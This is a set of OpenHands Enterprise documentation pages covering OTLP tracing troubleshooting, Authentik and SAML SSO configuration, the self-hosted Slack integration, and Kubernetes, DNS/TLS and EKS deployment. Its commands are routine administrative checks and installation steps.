to Laminar and ignores `OTEL_*` variables. Confirm the runtime pod - does not have `LMNR_BASE_URL` set: - - ```bash - kubectl -n openhands exec deploy/openhands -- printenv | grep -E 'LMNR_|OTEL_' - ``` - - You should see the `OTEL_*` variables and **no** `LMNR_BASE_URL`. If - `LMNR_BASE_URL` is still present, the Laminar block in your `values.yaml` - or Admin Console is still enabled. Disable it and restart the pod. - - - - - Confirm the endpoint URL is reachable from inside the cluster: - - ```bash - kubectl -n openhands exec deploy/openhands -- \ - curl -sS -o /dev/null -w "%{http_code}" \ - http:///api/public/otel/v1/traces - ``` - - A `405` (Method Not Allowed) on `GET` is fine — it means the endpoint - exists. A timeout or connection refused means DNS or network policy is - blocking the path. - - - Confirm the auth header is correct. Most OTLP backends return `401` for - a bad key. Langfuse requires HTTP Basic with `publicKey:secretKey`; - a bearer token returns `401 Invalid public key`. - - Confirm the protocol matches your endpoint. Most backends require - `http/protobuf`. Use `grpc/protobuf` only if your backend exposes a - gRPC OTLP receiver. - - - - The token usage is captured, but the model is not in your backend's model - catalog. Add the model with pricing in your backend's settings (in - Langfuse, **Settings → Models**). See [Cost calculation](#cost-calculation). - - - - The `lmnr` SDK emits input content under `gen_ai.input.messages` and output - under `gen_ai.completion` (or `gen_ai.output` depending on the provider - instrumentation). If your backend maps a different attribute name, the - content field is blank while token counts still populate. This is a - backend-side mapping difference, not an OHE issue. Real OHE conversations - use the `lmnr` Anthropic and OpenAI auto-instrumentation, which emits the - standard attribute names. - - - - The Replicated Admin Console does not currently expose - `OTEL_EXPORTER_OTLP_TRACES_*` fields directly. Uncheck **Enable Analytics** - to clear the `LMNR_*` variables, then use the Replicated custom environment - variable feature to add the `OTEL_*` variables. If your version does not - expose custom environment variables, contact OpenHands support. - - - -## Reference - -- Built-in Laminar setup: [Analytics](/enterprise/analytics) -- SDK tracing concepts and OTLP backends: [Observability & Tracing](/sdk/guides/observability) -- OpenTelemetry OTLP exporter environment variables: [OTEL spec](https://opentelemetry.io/docs/specs/otel/configuration/sdk-environment-variables/#exporter-configuration) -- Langfuse OTLP ingestion: [Langfuse docs](https://langfuse.com/docs/tracing-data/otel/overview) -- OpenTelemetry Collector configuration: [OTel Collector docs](https://opentelemetry.io/docs/collector/configuration/) - -### Authentik -Source: https://docs.openhands.dev/enterprise/integrations/saml-providers/authentik.md - -This guide walks through configuring [Authentik](https://goauthentik.io/) as a -SAML identity provider for OpenHands Enterprise. It is a provider-specific -companion to the [SAML SSO](/enterprise/integrations/saml-sso) guide. Follow the -steps here first, then use the values from the [last section](#values-for-openhands) -to complete [Step 2 of the SAML SSO guide](/enterprise/integrations/saml-sso#step-2-enable-saml-sso). - -## Prerequisites - -- An Authentik instance reachable over HTTPS with a certificate from a trusted - certificate authority. OpenHands fetches the metadata server-side and rejects - untrusted or self-signed TLS certificates. -- Authentik administrator access. -- Your OpenHands Authentication hostname, which is `auth.` - by default. The examples below use `auth.openhands.example.com`. - -Authentik creates the application and its SAML provider together in a single -**New application** wizard. In the admin interface, go to **Applications → -Applications** and choose **Create with Wizard**. - -## Step 1: Configure the Application - -On the **Application** step, set the core application fields: - -| Field | Value | -| --- | --- | -| Application Name | `OpenHands` | -| Slug | `openhands` | -| Group | leave blank (optional) | -| Policy engine mode | `ANY` (default) | - -The slug becomes part of the metadata URL, so keep it consistent with the value -you use in the [last section](#values-for-openhands). - -### Configure the UI settings - -Expand **UI Settings**. These settings control how OpenHands appears on the -Authentik **User Dashboard**, the launch directory where users see the -applications available to them. Configuring them lets a user open OpenHands -directly from Authentik with one click, in addition to signing in from the -OpenHands sign-in page. - -1. **Set the Launch URL.** Enter your OpenHands URL so the dashboard tile links - to the application: - - ``` - https://app. - ``` - - If you leave this blank, Authentik tries to infer a launch URL from the - provider, which does not produce a usable link for this integration. - -2. **Upload an application icon.** The icon is shown next to OpenHands on the - User Dashboard, so users can recognize it at a glance. Download the OpenHands - icon below, save it to your machine, then upload it in the **Icon** field. - - - OpenHands icon - - - [Download the OpenHands icon](/enterprise/integrations/saml-providers/images/openhands-icon.png) - - - Uploading an icon requires authentik to have media storage configured, - which is the default for standard installations. If your instance cannot - store uploaded files, you can instead set the icon to a publicly reachable - image URL. - - -Choose **Next**. - -## Step 2: Choose a Provider Type - -Select **SAML Provider**, then choose **Next**. - - - Choose **SAML Provider**, not **SAML Provider from Metadata**. The - metadata option is for importing an existing provider's metadata, which is not - what you want here. - - -## Step 3: Configure the SAML Provider - -Fill in the provider details: - -| Field | Value | -| --- | --- | -| Name | `Provider for OpenHands` | -| Authorization Flow | `default-provider-authorization-implicit-consent (Authorize Application)` | -| ACS URL (under **Protocol settings**) | `https://auth.openhands.example.com/realms/allhands/broker/enterprise_sso/endpoint` | -| Audience | `https://auth.openhands.example.com/realms/allhands` | -| SLS URL | leave blank (optional) | - - - `enterprise_sso` and `allhands` are fixed values that OpenHands expects. Do - not change them. Replace only the `auth.openhands.example.com` hostname with - your Authentication hostname. - - -Expand **Advanced protocol settings** and configure: - -| Field | Value | -| --- | --- | -| Signing Certificate | select a certificate, for example `authentik Self-signed Certificate` | -| Property mappings | keep the defaults (7 mappings are selected, including Email, Name, and Username) | -| Service Provider Binding | `Post` | -| Default NameID Policy | `Persistent` | -| Digest algorithm | `SHA256` (default) | -| Signature algorithm | `SHA256` (default) | - - - You must set the **Signing Certificate**. Authentik leaves this field blank by - default, and without it the published metadata contains no signing - certificate. OpenHands then refuses to create the SSO provider and users fall - back to the built-in login page. This is the most common cause of a failed - Authentik integration. - - -Selecting a signing certificate reveals four signing toggles. Leave them at -their defaults: - -| Toggle | Setting | -| --- | --- | -| Sign assertions | **On** (default) | -| Sign responses | Off (default) | -| Sign logout requests | Off (default) | -| Sign logout response | Off (default) | - - - OpenHands validates the signature on the SAML **assertion**, so **Sign - assertions** must stay on — it is enabled by default once you select a signing - certificate, so no change is needed. You do not need to enable **Sign - responses**; leave the other toggles off. - - - - OpenHands provisions accounts from the SAML assertion and requires an email - address. The default property mappings already include - `authentik default SAML Mapping: Email`, so leave the selection as-is unless - you have customized it. - - -Choose **Next**. - -## Step 4: Configure Bindings (Optional) - -The **Configure Bindings** step controls which users can access the application. -By default there are no bound policies, which allows all Authentik users to sign -in — convenient for initial testing. To restrict access, choose **Bind existing -policy/group/user** and bind the group(s) that should have access. - -Choose **Next**. - -## Step 5: Review and Submit - -Review the application and provider details, then choose **Create Application**. - -## Create a Test User - -SSO authenticates against Authentik, so you need at least one Authentik user -with an email address. - -1. Go to **Directory → Users** and choose **Create**. -2. Set a username and an **email address** (required for account provisioning in - OpenHands). -3. Set a password for the user, or use the existing `akadmin` account. - -## Values for OpenHands - -Use these values to complete -[Step 2 of the SAML SSO guide](/enterprise/integrations/saml-sso#step-2-enable-saml-sso). -Replace the hostname and slug with your own. - -| OpenHands setting | Value | -| --- | --- | -| SAML Metadata URL | `https:///application/saml/openhands/metadata/` | -| Identity Provider Display Name | e.g. `Company SSO (via Authentik)` | - - - Use the bare `.../metadata/` URL. OpenHands fetches it server-side, where - Authentik serves the raw XML directly, so no `?download` suffix is needed. If - you open that URL in a browser you may be redirected to the Authentik login; - that redirect does not affect OpenHands' server-side fetch. - - -To inspect the metadata yourself and confirm it contains a signing certificate, -add `?download` and follow redirects: - -```bash -curl -sL "https:///application/saml/openhands/metadata/?download" \ - | grep -c X509Certificate # expect >= 1 -``` - -### SAML SSO -Source: https://docs.openhands.dev/enterprise/integrations/saml-sso.md - -This guide explains how to let users sign in to an OpenHands Enterprise -installation with your corporate identity provider (for example Okta, Microsoft -Entra ID, Google Workspace, or ADFS) over SAML. - -## Prerequisites - -- An OpenHands Enterprise installation. -- Administrator access to your corporate identity provider, so you can create a - SAML application and read its metadata. -- Your installation's Authentication hostname, which is - `auth.` by default. - -The URLs below use the default realm name, `allhands`. - -## Step 1: Register OpenHands with Your Identity Provider - -Create a SAML application in your identity provider with these values. Replace -`` with your Authentication hostname, for example -`auth.openhands.example.com`. - -| Identity provider field | Value | -| --- | --- | -| Assertion Consumer Service (ACS) URL, or Reply URL | `https:///realms/allhands/broker/enterprise_sso/endpoint` | -| Entity ID, or Audience | `https:///realms/allhands` | -| Name ID format | `persistent` (recommended) or `email` | - -Send these attribute statements with the SAML response: - -- `email` (required) -- `firstName` and `lastName` (recommended) - -Assign the application to the users and groups that should have access to -OpenHands. Then copy the application's SAML metadata URL, sometimes called the -entity descriptor or federation metadata URL. It must be an HTTPS URL served -with a certificate from a trusted certificate authority (OpenHands fetches the -metadata server-side and rejects untrusted or self-signed TLS certificates). You -need this URL in the next step. - - - Your identity provider must **sign SAML assertions** and publish a **signing - certificate** in its metadata. OpenHands validates the assertion signature, so - the metadata must contain an entity ID, a single sign-on service URL, and a - signing certificate. If the signing certificate is missing, OpenHands skips - creating the SSO provider and users fall back to the built-in login page. Most - identity providers include the signing certificate by default, but some - require you to explicitly assign a signing certificate to the SAML - application. - - -For provider-specific, step-by-step instructions, see the guide for your -identity provider: [Authentik](/enterprise/integrations/saml-providers/authentik). - -## Step 2: Enable SAML SSO - -Pick the path that matches how OpenHands Enterprise is deployed. - - - - Open the Replicated Admin Console for your OpenHands Enterprise - installation and go to the application configuration page. - - In **Enterprise SSO (SAML) Authentication**: - - 1. Enable **Enable Enterprise SSO Authentication**. - 2. Enter your identity provider's metadata URL in **SAML Metadata URL**. - 3. Optionally change the **Identity Provider Display Name**. - 4. Save and deploy the updated configuration. - - - - In your `values.yaml` for the `openhands` chart: - - ```yaml - enterpriseSSO: - enabled: true - displayName: "Company SSO" - idpMetadataUrl: "https://idp.example.com/saml/metadata" - ``` - - Then redeploy the `openhands` chart. - - - -If your identity provider rotates its signing certificates, redeploy to pick up -the new metadata. - -## Step 3: Verify Sign-In - -1. Open `https://app.` in a private browser window. -2. Choose the Enterprise SSO button. Its label is the **Identity Provider - Display Name** you configured (for example, `Company SSO`). -3. Complete sign-in with your identity provider. -4. Confirm you return to OpenHands signed in. - -## Troubleshooting - -### The SSO button shows the OpenHands login form instead of your identity provider - -This means OpenHands did not create the SSO provider from your metadata. The -most common cause is a missing signing certificate in the identity provider's -SAML metadata. Confirm the metadata includes a signing certificate (see the -warning in [Step 1](#step-1-register-openhands-with-your-identity-provider)), -then save and deploy again. - -You can inspect the metadata for a signing certificate by downloading it and -checking for an `X509Certificate` element inside a `KeyDescriptor` with -`use="signing"`: - -```bash -curl -sL "https://idp.example.com/saml/metadata" | grep -c X509Certificate -``` - -A result of `0` means no certificate is published, and SSO provisioning will -fail. - -### OpenHands cannot fetch the metadata URL - -OpenHands fetches the metadata URL server-side. Make sure the URL is reachable -from the cluster and is served with a certificate from a trusted certificate -authority. Self-signed or untrusted TLS certificates cause the fetch to fail. - -### Sign-in succeeds but no account is created - -The SAML response is missing the `email` attribute. Configure your identity -provider to release `email` (see [Step 1](#step-1-register-openhands-with-your-identity-provider)). - -### Slack -Source: https://docs.openhands.dev/enterprise/integrations/slack.md - -This guide walks an operator through enabling the `@OpenHands` Slack integration on a -self-hosted **OpenHands Enterprise (OHE)** installation — both the Replicated VM-based -install (see the [Quick Start](/enterprise/quick-start)) and standalone Helm -([Kubernetes Installation](/enterprise/k8s-install/index)). - -Once enabled, end users can mention `@openhands` in any Slack channel or thread to start -and follow up on conversations from Slack, exactly like they can on OpenHands Cloud. - - - If you are looking for the **OpenHands Cloud** Slack integration (no self-hosting - involved), see [Slack Integration](/openhands/usage/cloud/slack-installation) - instead — that page uses the All-Hands-managed Slack App and skips the steps below. - - -## Overview - -Unlike OpenHands Cloud, a self-hosted install needs its **own** Slack App so that Slack -webhooks land on *your* domain rather than `app.all-hands.dev`. The configuration involves -four phases: - -1. **Create a Slack App** for your install (one-time, by a Slack workspace admin). -2. **Configure OHE** with the Slack App's credentials (one-time, by the OHE operator). -3. **Install the Slack App** into your workspace (one-time, by a Slack workspace admin). -4. **Link each user's account** in OpenHands ↔ Slack (per-user, self-service). - - - - - - - - - -## Prerequisites - -Before you start, confirm: - -- **OHE is already installed and reachable.** You can sign in to OpenHands Enterprise at - `https://app.` (e.g. `https://app.mycompany.com`). -- **Inbound HTTPS from the public internet** terminates at your OHE ingress on - `https://app./slack/*`. Slack delivers webhooks from public IPs, so - fully air-gapped installs are **not** supported by this integration today (Slack Socket - Mode is disabled). -- **Valid TLS certificate** on `app.`. Slack will reject webhook URLs - with untrusted certificates. -- **A Slack workspace admin/owner** is available to install the app and generate a - short-lived Slack App Configuration Token. -- **A workstation with `uv` installed** and outbound network access to `slack.com` (only - needed for the optional helper script in Step 2). - - - Replace `` throughout this guide with the same domain you used during - installation (the value behind `KOTS_HOSTNAME` or the `ingress.host` Helm value). - - -## Step 1: Create the Slack App - -You can mint the Slack App either with the helper script in -[`OpenHands-Cloud`](https://github.com/OpenHands/OpenHands-Cloud) (recommended) or by -pasting the manifest into Slack's UI. Either path produces the same app. - -### Option A: Helper script (recommended) - -1. Generate a **Slack App Configuration Token**: - - 1. Sign in to [https://api.slack.com/apps](https://api.slack.com/apps) as a workspace - admin/owner. - 2. In **Your App Configuration Tokens**, click **Generate Token**. - 3. Select your workspace and click **Generate**. - 4. Copy the **access token** (starts with `xoxe.xoxp-`). Treat it like a password — - it is short-lived but is sufficient to create apps in your workspace. - -2. Clone OpenHands-Cloud and run the script: - - ```bash - git clone https://github.com/OpenHands/OpenHands-Cloud.git - cd OpenHands-Cloud - - export SLACK_CONFIG_TOKEN=xoxe.xoxp-... - ./scripts/create_slack_app/create_slack_app.py \ - --base-domain - ``` - - - Pass `--dry-run` to print what would be created without calling Slack. Pass - `--app-name "OpenHands (Staging)"` to differentiate multiple installs in the same - workspace. - - -3. The script prints three values. **Save them now** — Slack will let you retrieve them - again from the app's "Basic Information" page, but the script does not store them - anywhere: - - ``` - Slack Client ID: ... - Slack Client Secret: ... - Slack Signing Secret: ... - ``` - -The script registers the following URLs on the new Slack App (all rooted at -`https://app.`): - -| Slack setting | URL | -|---|---| -| OAuth Redirect URL | `/slack/install-callback` | -| Event Subscriptions Request URL | `/slack/on-event` | -| Interactivity Request URL | `/slack/on-form-interaction` | -| Options Load URL | `/slack/on-options-load` | - -…and requests these bot scopes (no user scopes): - -`app_mentions:read`, `chat:write`, `users:read`, `channels:history`, -`groups:history`, `mpim:history`, `im:history`. - -Socket Mode, Org Deploy, and Token Rotation are intentionally **disabled** to match -what the OHE backend expects today. - -### Option B: Paste the manifest into Slack's UI - -If you can't run the script (e.g. your workstation has no outbound Slack access), open -[https://api.slack.com/apps](https://api.slack.com/apps) → **Create New App** → **From an -app manifest**, choose your workspace, and paste the YAML below. Replace -`` first. - -```yaml -display_information: - name: OpenHands -features: - bot_user: - display_name: OpenHands - always_online: false -oauth_config: - redirect_urls: - - https://app./slack/install-callback - scopes: - bot: - - app_mentions:read - - chat:write - - users:read - - channels:history - - groups:history - - mpim:history - - im:history -settings: - event_subscriptions: - request_url: https://app./slack/on-event - bot_events: - - app_mention - interactivity: - is_enabled: true - request_url: https://app./slack/on-form-interaction - message_menu_options_url: https://app./slack/on-options-load - org_deploy_enabled: false - socket_mode_enabled: false - token_rotation_enabled: false -``` - -After creating the app, copy **Client ID**, **Client Secret**, and **Signing Secret** -from the app's **Basic Information** page. - - - When Slack verifies your **Event Subscriptions Request URL**, your OHE install must - already be reachable at `https://app./slack/on-event`. If you create - the Slack App before OHE is running, Slack will mark the URL as unverified and you'll - need to click "Retry" after finishing Step 3. - - -## Step 2: Configure OpenHands Enterprise - -Pick the path that matches how OHE is deployed. - - - - 1. Open the Replicated admin console at - `https://:30000` and sign in. - 2. Navigate to **Config → Enable Slack** (or search "Slack" in the config side panel). - 3. Set the following values: - - | Field | Value | - |---|---| - | **Enable Slack Integration** | ✅ on | - | **Slack Client ID** | from Step 1 | - | **Slack Client Secret** | from Step 1 | - | **Slack Signing Secret** | from Step 1 | - - 4. Click **Save config** and then **Deploy** the new version. - 5. Wait for the deployment to reach **Ready** — Replicated will roll the integrations - pod with the new secrets and environment variables. - - Behind the scenes this: - - - Creates a Kubernetes `Secret/slack-auth` holding the client and signing secrets. - - Sets `slack.enabled=true`, `slack.clientId=`, and - `ENABLE_V1_SLACK_RESOLVER=true` on the integrations service. - - Exposes `/slack/*` on the integrations ingress on port 3000. - - - - Set the Slack values directly on the `openhands` and `openhands-secrets` charts. - - In your `values.yaml` for the `openhands` chart: - - ```yaml - slack: - enabled: true - clientId: "" - - env: - ENABLE_V1_SLACK_RESOLVER: "true" - ``` - - In your `values.yaml` for the `openhands-secrets` chart: - - ```yaml - config: - slack_client_id: "" - slack_client_secret: "" - slack_signing_secret: "" - ``` - - Then redeploy: - - ```bash - helm upgrade --install openhands-secrets ./charts/openhands-secrets \ - -f values-secrets.yaml -n openhands - - helm upgrade --install openhands ./charts/openhands \ - -f values.yaml -n openhands - ``` - - - If you manage the secret yourself, you can skip the `openhands-secrets` chart and - create a `Secret/slack-auth` directly with keys `client-id`, `client-secret`, and - `signing-secret`. The deployment reads `client-secret` and `signing-secret` from - that secret, and reads `client-id` from the `slack.clientId` Helm value. - - - - - -Confirm the integrations pod restarted with the new environment: - -```bash -kubectl -n openhands set env deployment/openhands-integrations --list \ - | grep '^SLACK_' -``` - -You should see `SLACK_CLIENT_ID`, `SLACK_CLIENT_SECRET`, `SLACK_SIGNING_SECRET`, and -`SLACK_WEBHOOKS_ENABLED=true`. - -## Step 3: Install the Slack App into your workspace - -With OHE configured, point your browser at: - -``` -https://app./slack/install -``` - -This redirects through Slack's OAuth v2 flow and then through OpenHands' Keycloak login. -A workspace admin/owner should complete this step **first** — they will be granting -the OpenHands bot permission to read mentions and post messages in your workspace. - -After approval you'll see **OpenHands Authentication Successful!** Slack will also mark -the Event Subscriptions Request URL as verified. - - - If Slack reports `missing_scope` after install, the most likely cause is that the - manifest was edited to drop one of the `*:history` scopes. Re-run Step 1 (or fix the - scopes in the Slack App **OAuth & Permissions** page) and then re-install via the - same URL. - - -## Step 4: Have users link their Slack accounts - -`@OpenHands` will only respond to users whose Slack identity has been linked to an -OpenHands user. Every user — including the admin who installed the app — needs to do -this once. They have two options: - -- **From OpenHands**: sign in at `https://app.`, open - **Settings → Integrations**, and click **Install OpenHands Slack App**. -- **From Slack**: the first time they mention `@openhands`, the bot will reply with a - one-time login link that completes the same flow. - -Either path produces the same record in the `slack_users` table, mapping the Slack user -ID to a Keycloak (OpenHands) user. Once linked, any conversation started from Slack runs -as that OpenHands user — using their LLM keys, provider tokens, and organization. - -## Using the integration - -Day-to-day usage is identical to OpenHands Cloud — see -[Working With the Slack App](/openhands/usage/cloud/slack-installation#working-with-the-slack-app) -for screenshots and the "mention `@openhands` in a thread" follow-up flow. - -### What context the agent receives - -When `@openhands` is mentioned, the bot does two things before starting (or -continuing) an OpenHands conversation: - -1. It strips the `<@BOT_ID>` mention out of the triggering message and uses the - remainder as the agent's initial user prompt. -2. It fetches surrounding Slack history via the Slack Web API and appends those - messages to the agent's system prompt as additional context. - -**Channel vs. thread — different sources, never mixed.** The bot branches on -whether the triggering Slack event has a `thread_ts`: - -| Where `@openhands` is mentioned | What the bot fetches | API method used | -| ----------------------------------- | ----------------------------------------------------------------------------------- | ----------------------- | -| Inside a thread | Only that thread's replies (up to 21 — the trigger plus 20 prior) | `conversations.replies` | -| At the top level of a channel | The channel's recent message stream (up to 21 — the trigger plus 20 prior) | `conversations.history` | - -A top-level mention will **not** surface any thread the bot is not part of, and -an in-thread mention will **not** surface broader channel discussion outside the -thread. Where you mention the bot directly controls which Slack messages it can -see. - -**New conversation vs. follow-up.** - -- A **top-level** mention always starts a brand-new OpenHands conversation. -- An **in-thread** mention where the thread already has an OpenHands - conversation tied to it (matched on `(channel_id, thread_ts)`) appends a - message to that conversation instead. See "Thread ownership" below for who is - allowed to do this. -- On a follow-up, **only the single triggering reply** is forwarded — the - agent's running memory is expected to carry the rest. Follow-ups are - noticeably leaner than the initial mention. - -**What is dropped.** Only the `text` field of each surrounding message is -forwarded. The integration does **not** pass message authors / display names, -timestamps, file or image attachments, reactions, edits, permalinks, or Slack -canvases. There is also no summarization or condensation today — once the -21-message window is full, older messages are simply not included. - - - Practical guidance for end users: - - For broad channel context, mention `@openhands` at the channel's top level. - - For focused work on a specific discussion, mention it **inside** the - relevant thread. - - Do not expect attached files, images, or canvases to be visible to the - agent — only message text is forwarded. If a screenshot or document is - important, describe its contents in the message you send. - - -### Self-hosted specifics - -- **Repo selection.** When a user starts a new conversation without an obvious repo in - the message, OpenHands posts an ephemeral repo picker. The picker calls back to - `/slack/on-options-load` on your domain and lists repositories the user can access - through their linked Git provider. -- **Thread ownership.** Only the user who started a thread conversation can `@openhands` - in follow-up replies — other workspace members mentioning the bot in the same thread - will get an "not authorized to send messages to this conversation" response. This is - intentional until per-org access lands. -- **Conversation links.** The bot's "I'm on it!" reply links to - `https://app./conversations/`. Users must be signed in to OHE - to view it. - -## Limitations - -- **No Slack Socket Mode.** Your OHE install must be reachable from the public internet - on `https://app./slack/*`. Air-gapped installs cannot use this - integration today. -- **No token rotation.** The bot uses a long-lived `xoxb-` token issued at install time. - If you regenerate the Slack App's credentials, re-run Steps 2 and 3. -- **Single Slack App per install.** The OHE backend assumes one Slack App per - deployment. To support multiple workspaces, install the **same** Slack App into each - workspace via Step 3 — do not create separate apps. -- **Slack Connect / externally shared channels** are not supported for posting from the - bot. - -## Troubleshooting - - - - Slack could not reach `https://app./slack/on-event` from the - public internet, or the TLS certificate isn't trusted. Verify from a machine outside - your network: - - ```bash - curl -i https://app./slack/on-event - ``` - - You should get an HTTP response (a 403 is expected and fine — it means the route - exists). If the request times out or the certificate is rejected, fix DNS / firewall - / TLS before clicking **Retry** in Slack's Event Subscriptions panel. - - - - 1. Check that `SLACK_WEBHOOKS_ENABLED=true` is set on the integrations pod. If it is - missing, your OHE deployment did not re-roll after Step 2 — redeploy. - 2. Tail the integrations pod logs and mention `@openhands` again. You should see a - `slack_on_event` log line. If you don't, Slack isn't reaching your install. - 3. If you see `slack_on_event` followed by `slack_is_duplicate`, Slack is retrying - an old delivery — wait 60 seconds and try a fresh message. - - - - The user's Slack ID is not linked to an OpenHands user. Have them complete Step 4 - once. If they have already linked but still see the login prompt, check that their - Keycloak user is active and that the `slack_users` row exists: - - ```bash - kubectl -n openhands exec -it deployment/openhands-postgres -- \ - psql -U postgres -d openhands -c \ - "SELECT slack_user_id, keycloak_user_id FROM slack_users;" - ``` - - - - The Slack App is missing one of the bot scopes listed in Step 1. Open the app's - **OAuth & Permissions** page in Slack, add the missing scope, then re-install via - `https://app./slack/install`. Users do **not** need to re-link. - - - - 1. Regenerate the Slack App's Client Secret / Signing Secret on Slack's app config - page. - 2. Update them in Step 2 (Replicated admin console **or** the Helm secret). - 3. Redeploy OHE so the integrations pod picks up the new values. - 4. Existing user account links remain valid — no need to re-run Step 4. - - - -## Reference - -- Helper script: [`scripts/create_slack_app/`](https://github.com/OpenHands/OpenHands-Cloud/tree/main/scripts/create_slack_app) in `OpenHands-Cloud` -- Replicated config group: [`replicated/config.yaml`](https://github.com/OpenHands/OpenHands-Cloud/blob/main/replicated/config.yaml) (`slack_configuration`) -- Helm chart values: [`charts/openhands/values.yaml`](https://github.com/OpenHands/OpenHands-Cloud/blob/main/charts/openhands/values.yaml) (`slack.*`) -- Cloud-hosted Slack flow (for end-user UX reference): [Slack Integration](/openhands/usage/cloud/slack-installation) - -### Kubernetes Installation -Source: https://docs.openhands.dev/enterprise/k8s-install.md - -OpenHands Enterprise can be deployed into an existing Kubernetes cluster using Helm. -This approach gives you full control over the deployment and is ideal for teams with -Kubernetes expertise who want to integrate OpenHands into their existing infrastructure. - - - If you prefer a simpler installation, see the [Quick Start](/enterprise/quick-start) - guide for VM-based deployment. - - -## When to Use This Approach - -Choose the Kubernetes installation path when you: - -- Have an existing Kubernetes cluster you want to deploy into -- Need fine-grained control over resource allocation and scaling -- Want to integrate with existing infrastructure (external PostgreSQL, Redis, S3) -- Have a platform team familiar with Helm and Kubernetes operations -- Need to comply with specific infrastructure policies or constraints - -## Architecture Overview - -OpenHands Enterprise consists of several components deployed as Kubernetes workloads: - -![OpenHands Enterprise Architecture](./images/architecture.svg) - -### Core Components - -| Component | Description | -|-----------|-------------| -| **OpenHands Server** | Main application server handling UI, API, and agent orchestration | -| **Runtime API** | Manages sandbox lifecycle: provisioning, scaling, and cleanup | -| **Runtimes (Sandboxes)** | Isolated containers where agents execute code | -| **Keycloak** | Identity and access management | -| **LiteLLM Proxy** | Routes requests to your LLM provider(s) | -| **PostgreSQL** | Persistent storage for application data | -| **Redis** | Caching and session management | - -### Supporting Services - -| Component | Description | -|-----------|-------------| -| **Conversation Bucket** | S3-compatible storage for conversation history | -| **Image Loader** | Pre-loads runtime container images on nodes | - -## Guides - - - Size your node pools, volume storage, and database from peak concurrent sandboxes. - - - - End-to-end installation instructions using your OpenHands Enterprise license. - - - - Install the Sysbox runtime so agent sandboxes can run securely. - - - - Automate DNS records and TLS certificates with external-dns and cert-manager. - - - - Prepare an Amazon EKS cluster to run OpenHands Enterprise. - - - - Configure OpenHands to use your own PostgreSQL database instead of the bundled instance. - - - - Configure memory, CPU, and storage for optimal performance. - - - - Generic advice for upgrading the Kubernetes cluster underneath OpenHands. - - -## Request Access - -Kubernetes-based installation is currently available to select customers on request. -If you're interested in deploying OpenHands Enterprise into your own Kubernetes cluster, -please contact our team to discuss your requirements. - - - Get in touch with our team to request access to Kubernetes installation. - - -### DNS and TLS -Source: https://docs.openhands.dev/enterprise/k8s-install/dns-and-tls.md - -OpenHands needs DNS records and TLS certificates for its hostnames. We recommend automating both with -**external-dns** and **cert-manager**, which run on any Kubernetes distribution and support the major -cloud DNS providers. If you can't run them, provision the records and certificates by hand, see -[Manual Setup](#manual-setup). - -## Hostnames - -OpenHands serves these hostnames, using `openhands.example.com` as the base domain (matching the -[Helm install](/enterprise/k8s-install/installation)): - -| Hostname | Purpose | -|---|---| -| `app.openhands.example.com` | Application | -| `auth.openhands.example.com` | Login (Keycloak) | -| `runtime-api.openhands.example.com` | Runtime API | -| `-runtime.openhands.example.com` | Per-session sandboxes | - -All of these must resolve to your ingress load balancer. Every hostname sits one label under the -base domain, so a single **wildcard** DNS record and certificate for `*.openhands.example.com` -cover everything, including the dynamically named sandboxes. - -## external-dns - -external-dns watches your Ingresses and Services and creates the matching DNS records automatically. - -- Install it from its [Helm chart](https://kubernetes-sigs.github.io/external-dns/). -- Set `provider` to your DNS provider and grant it access to your zone (the access mechanism is - provider-specific). -- Recommended settings: - -```yaml -provider: - name: aws # or google, azure, cloudflare, ... -policy: upsert-only # only ever create/update, never delete -registry: txt -txtOwnerId: openhands -domainFilters: - - openhands.example.com # only manage names under your base domain -``` - -With `upsert-only` and a TXT registry, external-dns only ever touches records it created. - -## cert-manager - -cert-manager issues and renews certificates from Let's Encrypt. Use the **DNS-01** challenge, the -only one that can issue **wildcard** certificates. - - - - Install it from its [Helm chart](https://cert-manager.io/docs/installation/helm/), and grant it - access to your DNS provider so it can solve DNS-01 challenges. - - - The `solvers` block is specific to your DNS provider. The Route 53 solver is shown here. - - ```yaml - apiVersion: cert-manager.io/v1 - kind: ClusterIssuer - metadata: - name: letsencrypt-prod - spec: - acme: - server: https://acme-v02.api.letsencrypt.org/directory - email: you@example.com - privateKeySecretRef: - name: letsencrypt-prod - solvers: - - dns01: - route53: # swap for cloudDNS, azureDNS, cloudflare, ... - hostedZoneID: - ``` - - - Start with the staging server (`https://acme-staging-v02.api.letsencrypt.org/directory`) while - you get the setup working (generous rate limits), then switch to production. - - - - A single wildcard covers every hostname. With Traefik, serve it as the default `TLSStore` so - no per-ingress TLS config is needed. - - ```yaml - apiVersion: cert-manager.io/v1 - kind: Certificate - metadata: - name: openhands-wildcard - namespace: openhands - spec: - secretName: openhands-wildcard-tls - issuerRef: - name: letsencrypt-prod - kind: ClusterIssuer - dnsNames: - - "*.openhands.example.com" - ``` - - - -## Manual Setup - -If you don't run external-dns and cert-manager, provision these by hand and point the ingress -controller at them. - -**DNS**: create a single wildcard record `*.openhands.example.com` pointing to your ingress load -balancer (typically a CNAME to the load balancer's hostname, or a cloud DNS alias). - -**TLS**: obtain a certificate with a `*.openhands.example.com` SAN and load it into the ingress -controller as a Kubernetes TLS secret. - -If you can't use a wildcard certificate, obtain one with SANs for the `app`, `auth`, and -`runtime-api` hostnames plus `runtime.openhands.example.com`, and set -`runtime-api.env.RUNTIME_ROUTING_MODE: "path"` in your Helm values so sandboxes are served under -`runtime.openhands.example.com/` instead of their own hostnames. - -## Next Steps - - - - Install the sandbox runtime on your sandbox nodes. - - - Deploy OpenHands once the cluster is ready. - - - -### Amazon EKS -Source: https://docs.openhands.dev/enterprise/k8s-install/eks.md - -Running OpenHands Enterprise on Amazon EKS follows the standard -[Helm install](/enterprise/k8s-install/installation), with a few EKS-specific choices for node -pools, storage, ingress, and the sandbox runtime. This guide covers preparing the cluster. Once -it's ready, follow the Helm install to deploy. - -## Cluster Requirements - -| Requirement | Recommendation | -|---|---| -| EKS version | A currently-supported version that [Sysbox](/enterprise/k8s-install/sysbox) supports | -| Add-ons | VPC CNI, CoreDNS, kube-proxy, and the **EBS CSI driver** (sandboxes and stateful components use EBS volumes) | -| Storage class | A `gp3` StorageClass backed by the EBS CSI driver | -| Metrics | Metrics Server, for `kubectl top` and autoscaling | - -Set `runtime-api.env.STORAGE_CLASS` to your `gp3` class. - -## Node Pools - -We recommend using two separate node pools: a **general** pool for the OpenHands application services -and cluster add-ons, and a **Sysbox** pool for the agent sandboxes. Keeping sandboxes on their own -pool isolates the untrusted sandbox workload from your services, and lets the sandbox pool scale -independently, since sandboxes are created and torn down far more frequently than the services. - -- **General pool**: Use standard EKS nodes on the Amazon Linux 2023 AMI, with on-demand or Spot - capacity. -- 